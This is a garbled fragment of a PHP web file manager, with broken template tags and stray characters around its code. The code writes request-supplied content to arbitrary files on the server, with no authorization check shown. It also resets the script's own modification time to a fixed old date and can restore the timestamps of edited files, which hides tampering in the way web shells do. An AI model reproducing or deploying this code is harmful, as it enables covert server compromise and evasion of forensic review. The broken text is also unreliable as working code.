(*¥#&……()¥……
| =__('File manager').' - '.$path?> | |||
|---|---|---|---|
|
|||
| =__('Back')?> |
'.$fun($res).''; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>
| =__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?> |
|---|
| =$msg?> |
| =fm_home()?> =__('Back')?> |
| =__('File manager').' - '.$path?> |
|---|
| =$msg?> |
| =__('Back')?> |
| =__('File manager').' - '.$path?> |
|---|
| =$msg?> |
| =__('Back')?> |